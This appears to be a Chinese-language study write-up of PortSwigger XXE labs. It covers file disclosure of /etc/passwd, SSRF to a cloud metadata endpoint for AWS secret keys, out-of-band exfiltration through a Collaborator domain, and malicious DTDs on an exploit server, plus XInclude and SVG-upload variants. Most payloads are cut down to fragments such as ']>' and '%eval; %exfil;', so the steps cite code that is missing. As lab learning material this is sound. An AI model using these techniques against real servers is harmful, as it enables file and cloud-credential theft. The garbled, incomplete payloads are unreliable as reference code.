https://portswigger.net/web-security/xxe#what-is-xml-external-entity-injection
XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。
在某些情况下,攻击者可以利用 XXE 漏洞执行服务器端请求伪造(SSRF) 攻击,升级 XXE 攻击以危害底层服务器或其他后端基础设施。
Lab: Exploiting XXE using external entities to retrieve files
进入靶场,点击功能,进入burp代理历史查看流量包:
数据包发送到repeater:
测试xxe漏洞:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
]>
将数字替换productId为对外部实体的引用:&xxe; 响应应包含“Invalid product ID”,后跟文件内容/etc/passwd。
Lab: Exploiting XXE to perform SSRF attacks
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
]>
将数字替换productId为对外部实体的引用:&xxe;。响应应包含“无效的产品 ID:”,后跟来自元数据端点的响应,该响应最初是文件夹名称。
迭代更新 DTD 中的 URL 以探索 API,直到到达/latest/meta-data/iam/security-credentials/admin。这应该返回包含SecretAccessKey.
逐步添加169.254.169.254主机泄露的web目录到xml文档,最终发现泄露了aws云的SecretAccessKey,可以用相关工具
访问云服务:
访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
]>
实际:burp collaborator生成:if1tvfuvgii5ksgx9f9wr7t43v9mxdl2.oastify.com
]>
将数字替换productId为对外部实体的引用:
&xxe;
转到“collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
进入靶场,查看到检查库存功能,有提交xml请求的流量:
修改数据包,重放:
访问产品页面,单击“检查库存”并在Burp Suite Professional中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck。右键单击并选择“插入 Collaborator 负载”以在指示的位置插入 Burp Collaborator 子域:
%xxe; ]>
## Collaborator生成子域名:% xxe表示xml参数实体
%xxe; ]>
转到“Collaborator”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。
使用Burp Suite Professional,转到“协作者”选项卡。
单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。
将 Burp Collaborator 负载放入恶意 DTD 文件中:
">
%eval;
%exfil;
#### 制作恶意的外部dtd文档:
">
%eval;
%exfil;
单击“转到漏洞利用服务器”并将恶意 DTD 文件保存在您的服务器上。单击“查看漏洞”并记下 URL。
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
%xxe;]>
## 将恶意的dtd url路径插入:URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
%xxe;]>
返回“Collaborator ”选项卡,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。
您应该会看到应用程序根据负载结果发起的一些 DNS 和 HTTP 交互。HTTP 交互可以包含文件的内容/etc/hostname。
进入靶场,抓取查看库存功能,burp抓包:
将制作的恶意dtd文档托管到自己可控的web服务器上:
URL: https://exploit-0a77006b049645408600598501f100f3.exploit-server.net/exploit
单击“转到漏洞利用服务器”并将以下恶意 DTD 文件保存在您的服务器上:
">
%eval;
%exfil;
/etc/passwd导入时,此页面将读取实体 的内容file,然后尝试在文件路径中使用该实体。
单击“查看漏洞”并记下恶意 DTD 的 URL。
您需要通过添加引用恶意 DTD 的参数实体来利用股票检查器功能。首先,访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下外部实体定义stockCheck:
%xxe;]>
##
%xxe;]>
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
您应该看到一条包含文件内容的错误消息/etc/passwd。
将恶意的dtd文件托管到自己控制的web服务器中:记录恶意dtd的url值:
https://exploit-0aa1003e03754688803d84d101520013.exploit-server.net/exploit
一些应用程序接收客户端提交的数据,将其在服务器端嵌入到 XML 文档中,然后解析该文档。当客户端提交的数据被放入后端 SOAP 请求中,然后由后端 SOAP 服务处理时,就会发生这种情况。
在这种情况下,您无法执行经典的 XXE 攻击,因为您无法控制整个 XML 文档,因此无法定义或修改元素DOCTYPE。但是,您也许可以使用XInclude它。XInclude是 XML 规范的一部分,允许从子文档构建 XML 文档。您可以XInclude在 XML 文档中的任何数据值中进行攻击,因此可以在您仅控制放入服务器端 XML 文档中的单个数据项的情况下执行攻击。
要执行XInclude攻击,您需要引用XInclude命名空间并提供您希望包含的文件的路径。例如:
### 操作:
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
将参数值设置productId为:
### 原理:
某些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例包括 DOCX 等办公文档格式和 SVG 等图像格式。
例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序期望接收 PNG 或 JPEG 等格式,正在使用的图像处理库也可能支持 SVG 图像。由于SVG格式使用XML,攻击者可以提交恶意SVG图像,从而达到XXE漏洞的隐藏攻击面。
### 操作:
创建包含以下内容的本地 SVG 图像:
]>
在博客文章上发表评论,并上传此图像作为头像。
/etc/hostname当您查看评论时,头像svg被解析,xml中代码执行,读取了hostname,您应该会在图像中 看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。
访问产品页面,单击“检查库存”,然后在 Burp Suite 中拦截生成的 POST 请求。
在 XML 声明和元素之间插入以下参数实体定义stockCheck:
">
%eval;
%error;
'>
%local_dtd;
]>
这将导入 Yelp DTD,然后重新定义ISOamso实体,触发包含文件内容的错误消息/etc/passwd。
大多数 POST 请求使用由 HTML 表单生成的默认内容类型,例如application/x-www-form-urlencoded. 某些网站期望接收这种格式的请求,但也会容忍其他内容类型,包括 XML。
例如,如果一个普通请求包含以下内容:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
然后您可以提交以下请求,得到相同的结果:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
如果应用程序容忍消息正文中包含 XML 的请求,并将正文内容解析为 XML,那么您只需将请求重新格式化为使用 XML 格式即可到达隐藏的 XXE 攻击面。
https://mp.weixin.qq.com/s/a_AlnsHdyavDriFbnTsyRw
## paylaodallthings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection
### owasp:
https://owasp.org/www-project-web-security-testing-guide/v42/
### owasp xml注入:
https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/07-Testing_for_XML_Injection